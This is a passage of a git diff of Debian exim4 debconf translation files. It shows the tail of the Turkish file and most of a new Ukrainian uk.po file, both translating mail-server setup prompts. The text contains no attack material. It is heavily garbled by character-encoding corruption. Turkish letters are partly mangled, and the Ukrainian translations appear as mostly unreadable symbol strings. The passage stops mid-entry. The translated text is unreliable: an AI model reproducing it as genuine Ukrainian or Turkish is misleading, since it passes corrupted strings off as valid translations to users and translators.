"Birden fazla kullanıcı adları boÅŸluklarla ayrılmalıdır." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Kendisinden gelen SMTP baÄŸlantılarının dinleneceÄŸi IP adresleri:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Exim SMTP tarafından dinlenecek IP adreslerini noktalı virgülle ayrılmış bir " +"liste halinde girin." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"EÄŸer bu alana boÅŸ deÄŸer girilirse, Exim kullanılabilir durumdaki bütün aÄŸ " +"arayüzlerine olan baÄŸlantıları dinleyecektir." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"EÄŸer bu makine yalnız doÄŸrudan yerel servislerden posta alıyorsa (ve diÄŸer " +"makinelerden almıyorsa), Exim'in dış baÄŸlantılara kapatılması önerilir. Bu " +"tür servisler fetchmail'in yanında yerel makine ile konuÅŸan eposta " +"programlarını (MUA) da içerir. Bu seçenek 127.0.0.1 olarak ayarlanırsa " +"dışarıya açık aÄŸ arayüzlerinin dinlenilmesini önleneceÄŸinden bu sisteme " +"dışarıdan baÄŸlantı yapılamaz." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "DNS sorgulamaları asgari düzeyde tutulsun mu (Ä°steÄŸe-baÄŸlı-BaÄŸlantı)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Normal çalışma kipinde Exim; baÅŸlatılırken, posta alıp gönderirken vb. " +"durumlarda günlük tutmak amacıyla DNS baÅŸvurularında bulunur. Bu durum " +"yapılandırma dosyasına önceden girilmesi gereken sabit deÄŸerlerin sayısını " +"azaltmaya yaramaktadır." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Åžayet bu makine (Ä°stek-üzerine-BaÄŸlantı kullanan çevirmeli baÄŸlantıyla " +"kurulmuÅŸ Ä°nternet eriÅŸimlerinde olduÄŸu gibi) kalıcı bir DNS-alan adı " +"sunucusu eriÅŸimine sahip olmayan bir makine olsaydı, bu durum istenmeyen " +"sonuçlar doÄŸurabilirdi. Meselâ exim'in baÅŸlatılması veya (bekleyen bir " +"iletinin dahî olmadığı) posta kuyruklarının iÅŸlenmesi masraflı bir baÄŸlantı " +"kurma giriÅŸimini tetikleyebilirdi." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Bu özelliÄŸi, Ä°stek-üzerine-BaÄŸlantı'yı (Dial-on-Demand) kullanıyorsanız " +"etkinleÅŸtirin. EÄŸer sistem daima-mevcut Ä°nternet eriÅŸimine sahipse bu " +"seçeneÄŸi etkinleÅŸtirilmeyin." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Posta Sunucusu yapılandırma türü:" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Yapılandırmayı küçük dosyalara bölmek ister misiniz?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debian exim4 paketleri tümleÅŸik özellikte tek bir dosyaya (/etc/exim4/exim4." +"conf.template) dayalı 'bölünmemiÅŸ yapılandırma'yı veya/etc/exim4/conf.d/ " +"dizininde yaklaşık 50 civarında küçük yapılandırma dosyasından oluÅŸan " +"'bölünmüş yapılandırma'yı kullanabilir." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"BölünmemiÅŸ yapılandırma geniÅŸ çaplı deÄŸiÅŸiklikler için uygun ve genellikle " +"daha kararlı iken, bölünmüş yapılandırma küçük deÄŸiÅŸikliklerin daha rahat " +"yapılmasına imkân veren bir yöntemdir. Fakat bu son yöntem daha kırılgandır " +"ve deÄŸiÅŸikliklerin fazla olması halinde sorun çıkarabilir." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Bölünmüş ve bölünmemiÅŸ yapılandırma hakkında daha ayrıntılı bilgi /usr/" +"share/doc/exim4-base dizinindeki Debian'a özgü README dosyalarında " +"bulunabilir." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Dışarı giden postada yerel posta adı gizlensin mi?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Dışarı giden postalara ait baÅŸlıklar yeniden yazılarak, postanın farklı bir " +"sistemden gönderiliyormuÅŸ gibi görünmesi saÄŸlanabilir. Bu seçenek seçilirse; " +"Kimden (From), Cevap-Kime (Reply-To), Gönderen (Sender) ve Dönüş-Yolu " +"(Return-Path) alanlarındaki '${mailname}' 'localhost' ve " +"'${dc_other_hostnames}' deÄŸerleri yeniden yazılır." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "/var/mail/ 'mbox' biçemi" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Ev dizininde 'Maildir' biçemi" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Yerel epostalar için dağıtım yöntemi:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim, yerel olarak dağıtılan epostaların farklı biçemlerde kaydedilmesine " +"olanak tanımaktadır. Bunların en yaygınları 'mbox' ve 'Maildir'dir. 'mbox' " +"epostaların tamamı için /var/mail dizininde tek bir dosya kullanır. " +"'Maildir' ise her bir iletiyi ~/Maildir dizininde ayrı bir dosya halinde " +"kaydeder." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Lütfen Debian'daki eposta araçlarının çoÄŸunun yerel dağıtım yöntemi olarak " +"'mbox' biçemini varsaydığını unutmayın." diff --git a/debian/po/uk.po b/debian/po/uk.po new file mode 100644 index 0000000..447f5ca --- /dev/null +++ b/debian/po/uk.po @@ -0,0 +1,682 @@ +# translation of exim-uk.po to УкраїнÑька мова +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# +# Eugeniy Meshcheryakov <eugen@debian.org>, 2004, 2006. +# Borys Yanovych <borman@pravex.kiev.ua>, 2006, 2007. +msgid "" +msgstr "" +"Project-Id-Version: exim-uk\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-06-06 13:52+0300\n" +"Last-Translator: Borys Yanovych <borman@pravex.kiev.ua>\n" +"Language-Team: УкраїнÑька мова\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" +"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" +"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "Remove undelivered messages in spool directory?" +msgstr "Видалити недоÑтавлену пошту із поштової черги?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Ð’ теці поштової черги exim /var/spool/exim4/input Ñ” повідомленнÑ, Ñкі ще не " +"були доÑтавлені. ПіÑÐ»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Exim, вони залишатимутьÑÑ Ð½ÐµÐ´Ð¾Ñтавленими " +"доки Exim не буде перевÑтановлено." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Якщо цю опцію не вибрано, тека черги залишитьÑÑ, зберігаючи можливіÑÑ‚ÑŒ " +"доÑтавки повідомлень, котрі знаходÑÑ‚ÑŒÑÑ Ð² черзі, пізніше, піÑÐ»Ñ " +"перевÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Переналаштовуйте exim4-config, а не цей пакунок" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Ð’Ñе що пов'Ñзано з налаштуваннÑм Exim4 винеÑено в окремий пакунок - exim4-" +"config. ВикориÑтовуйте dpkg-reconfigure exim4-config, Ñкщо бажаєте " +"переналаштувати Exim4." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "" +"вузол Internet; пошта відправлÑєтьÑÑ Ñ‚Ð° приймаєтьÑÑ Ð½Ð°Ð¿Ñ€Ñму (за допомогою " +"SMTP)" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "Ð²Ñ–Ð´Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· ÑмартхоÑÑ‚; Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· SMTP або fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "Ð²Ñ–Ð´Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· ÑмартхоÑÑ‚; без локальної пошти" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "тільки локальна доÑтавка; не в мережі" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "не налаштовувати зараз" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Загальний тип поштових налаштувань:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Виберіть, будь лаÑка, тип налаштувань поштового Ñервера, Ñкий вам підходить " +"більше." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"СиÑтеми із динамічною IP-адреÑою, включно із ÑиÑтемами з комутованим " +"з'єднаннÑм, зазвичай потрібно налаштовувати Ð´Ð»Ñ Ð²Ñ–Ð´ÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð²Ð¸Ñ…Ñ–Ð´Ð½Ð¾Ñ— пошти " +"іншій машині, Ñка називаєтьÑÑ \"ÑмартхоÑÑ‚\", оÑкільки багато ÑиÑтем, що " +"отримують пошту в Інтернеті блокують вхідну пошту з динамічних IP-адреÑ, Ñк " +"захиÑÑ‚ від Ñпаму." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"СиÑтема з динамічною IP-адреÑою може отримувати Ñвою влаÑну пошту, або " +"локальну доÑтавку може бути заборонено взагалі (за виключеннÑм пошти від " +"кориÑтувачів root Ñ– postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Ви впевнені, що хочете залишити поштову ÑиÑтему неналаштованою?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Доки поштову ÑиÑтему не буде налаштовано, вона буде непрацездатною та не " +"зможе бути викориÑтана. Пізніше, Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¼Ð¾Ð¶Ð½Ð° зробити або вручну, або " +"запуÑтивши \"dpkg-reconfigure exim4-config\" Ñк root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Поштове ім'Ñ ÑиÑтеми:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"\"Поштове ім'Ñ\" - це назва домену, що викориÑтовуєтьÑÑ Ð´Ð»Ñ \"кваліфікації\" " +"поштових Ð°Ð´Ñ€ÐµÑ Ð±ÐµÐ· назви домену." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Це ім'Ñ Ñ‚Ð°ÐºÐ¾Ð¶ буде викориÑтовуватиÑÑ Ñ–Ð½ÑˆÐ¸Ð¼Ð¸ програмами. Це повинна бути " +"унікальна повна назва домену (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Ðаприклад, Ñкщо поштова адреÑа локального вузла - foo@example.org, то " +"правильним значеннÑм Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— опції буде example.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Це ім'Ñ Ð½Ðµ буде з'ÑвлÑтиÑÑ Ð² Ñ€Ñдках From: вихідної пошти Ñкщо дозволено " +"перезапиÑ." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Інші міÑÑ†Ñ Ð¿Ñ€Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ, Ð´Ð»Ñ Ñких буде прийматиÑÑ Ð¿Ð¾ÑˆÑ‚Ð°:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Введіть, будь лаÑка, ÑпиÑок розділених крапкою з комою доменів отримувачів, " +"Ð´Ð»Ñ Ñких дана машина повинна вважати Ñебе міÑцем призначеннÑ. Ці домени " +"чаÑто назвиють \"локальними доменами\" (local domains).Локальне ім'Ñ Ð²ÑƒÐ·Ð»Ð° " +"(${fqdn}) та \"localhost\" будуть завжди додані до цього ÑпиÑку." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"За замовчаннÑм вÑÑ– локальні домени будуть оброблÑтиÑÑ Ð¾Ð´Ð½Ð°ÐºÐ¾Ð²Ð¾. Якщо Ñ– a." +"example, Ñ– b.example - локальні домени, то acc@a.example Ñ– acc@b.example " +"доÑтавлÑтимутьÑÑ Ð² одне міÑце призначеннÑ. Якщо ви хочете, щоб різні імена " +"доменів оброблÑлиÑÑ Ð¿Ð¾-різному, вам потрібно буде відредагувати файли " +"налаштувань пізніше." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Домени, Ð´Ð»Ñ Ñких дозволена передача пошти:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Введіть, будь лаÑка, ÑпиÑок, розділений крапкою з комою, доменів-" +"отримувачів, Ð´Ð»Ñ Ñких Ñ†Ñ ÑиÑтема буде перенаправлÑти пошту, наприклад, Ñк " +"додатковий MX або поштовий шлюз. Це означає, що Ñ†Ñ ÑиÑтема прийматиме пошту " +"Ð´Ð»Ñ Ñ‚Ð¸Ñ… доменів з будь-Ñкого міÑÑ†Ñ Ð² Інтернеті Ñ– доÑтавлÑтиме Ñ—Ñ— згідно " +"правил локальної доÑтавки." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Ðе вказуйте тут локальні домени. Можна викориÑтовувати шаблони." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Машини, Ñким дозволена передача пошти:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Введіть, будь лаÑка, ÑпиÑок розділених крапкою з комою проміжків IP-адреÑ, " +"Ð´Ð»Ñ Ñких Ñ†Ñ ÑиÑтема буде довільним чином перенаправлÑти пошту, функціонуючи " +"Ñк ÑмартхоÑÑ‚." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"ВикориÑтовуйте Ñтандартний формат - адреÑа/Ð¿Ñ€ÐµÑ„Ñ–ÐºÑ (напр. 194.222.242.0/24 " +"або 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Якщо Ñ†Ñ ÑиÑтема не повинна бути ÑмартхоÑтом Ð´Ð»Ñ Ð¶Ð¾Ð´Ð½Ð¾Ð³Ð¾ іншого вузла, то " +"залиште це поле порожнім." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Видиме ім'Ñ Ð´Ð¾Ð¼ÐµÐ½Ñƒ Ð´Ð»Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¸Ñ… кориÑтувачів:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Було зроблено вибір приховувати локальну чаÑтину поштової адреÑи пошти, що " +"відÑилаєтьÑÑ Ð½Ð°Ð·Ð¾Ð²Ð½Ñ–. Тому необхідно вказати назву домену, що буде " +"викориÑтовуватиÑÑŒ Ð´Ð»Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¸Ñ… кориÑтувачів в ÑкоÑÑ‚Ñ– доменної чаÑтини " +"адреÑи відправника." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "" +"IP-адреÑа або назва машини, Ñка викориÑтовуєтьÑÑ Ð² ÑкоÑÑ‚Ñ– зовнішнього " +"ÑмартхоÑту:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Будь лаÑка, введіть IP-адреÑу або назву поштового Ñерверу, що цією ÑиÑтемою " +"буде викориÑтовуватиÑÑŒ в ÑкоÑÑ‚Ñ– зовнішнього ÑмартхоÑту. Якщо ÑмартхоÑÑ‚ " +"приймає вашу пошту лише на відмінному від TCP/25 порту, додайте дві " +"двокрапти та номер порта (наприклад, smarthost.example::587 або " +"192.168.254.254::2525). КількіÑÑ‚ÑŒ двокрапок Ð´Ð»Ñ IPv6-Ð°Ð´Ñ€ÐµÑ Ð¿Ð¾Ñ‚Ñ€Ñ–Ð±Ð½Ð¾ подвоїти." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +#, fuzzy +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Якщо ÑмартхоÑÑ‚ вимагає автентифікації, будь лаÑка, звернітьÑÑ Ð´Ð¾ приміток " +"щодо SMTP-автентифікації в /usr/share/doc/exim4-base/README.Debian.gz." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Отримувач пошти Ð´Ð»Ñ root та postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Пошта Ð´Ð»Ñ \"postmaster\", \"root\" та інших ÑиÑтемних облікових запиÑів " +"повинна перенаправлÑтиÑÑ ÐºÐ¾Ñ€Ð¸Ñтувацькому обліковому запиÑу Ñправжнього " +"адмініÑтратора ÑиÑтеми." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Якщо ви залишите це поле порожнім, така пошта буде зберігатиÑÑ Ð² /var/mail/" +"mail, що не рекомендуєтьÑÑ." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Зауважте, що пошта Ð´Ð»Ñ \"postmaster\" повинна читатиÑÑ Ð½Ð° ÑиÑтемі, Ð´Ð»Ñ Ñкої " +"вона призначена, а не переÑлана в інше міÑце, таким чином, кориÑтувачі, Ñких " +"ви вкажете тут (чи хоча б один із них) не повинні перенаправлÑти пошту із " +"цієї машини. ВикориÑтовуйте Ð¿Ñ€ÐµÑ„Ñ–ÐºÑ \"real-\" Ð´Ð»Ñ Ð¿Ñ€Ð¸Ð¼ÑƒÑової локальної " +"доÑтавки." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "" +"При вводі декількох імен кориÑтувачів Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð¿Ð¾Ð²Ð¸Ð½Ð½Ñ– розділÑтиÑÑŒ пробілами." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP-адреÑи на Ñких очікувати SMTP-з'єднаннÑ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Будь лаÑка, введіть ÑпиÑок IP-адреÑ, виокремлюючи Ñ—Ñ… крапкою з комою. SMTP-" +"демон Exim проÑлуховуватиме вÑÑ– вказані тут IP-адреÑи." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Якщо ви залишите це поле порожнім, то Exim буде очікувати на з'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð½Ð° " +"вÑÑ–Ñ… наÑвних мережевих інтерфейÑах." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Якщо Ñ†Ñ ÑиÑтема отримує пошту тільки напрÑму від локальних Ñлужб таких, Ñк " +"fetchmail або ж ваша поштова програма (MUA) звертаєтьÑÑ Ð´Ð¾ localhost (Ñ– не з " +"інших вузлів), то рекомендуєтьÑÑ Ð·Ð°Ð±Ð¾Ñ€Ð¾Ð½Ð¸Ñ‚Ð¸ зовнішні з'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð´Ð¾ локального " +"Exim. Це можна зробити ввівши тут 127.0.0.1 . Це заборонить проÑÐ»ÑƒÑ…Ð¾Ð²ÑƒÐ²Ð°Ð½Ð½Ñ " +"загальнодоÑтупних мережевих інтерфейÑів." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Тримати кількіÑÑ‚ÑŒ DNS-запитів мінімальною (Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Ð’ нормальному режимі Exim робить DNS запити при запуÑку Ñ– при отриманні або " +"відправленні пошти. Це здійÑнюєтьÑÑ Ð´Ð»Ñ Ð¿Ð¾Ñ‚Ñ€ÐµÐ± реєÑтрації та з метою " +"Ð·Ð¼ÐµÐ½ÑˆÐµÐ½Ð½Ñ Ñ‡Ð¸Ñла параметрів, що вказуютьÑÑ Ñƒ файлі налаштувань." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Якщо це вузол без поÑтійного доÑтупу до Ñервера імен DNS 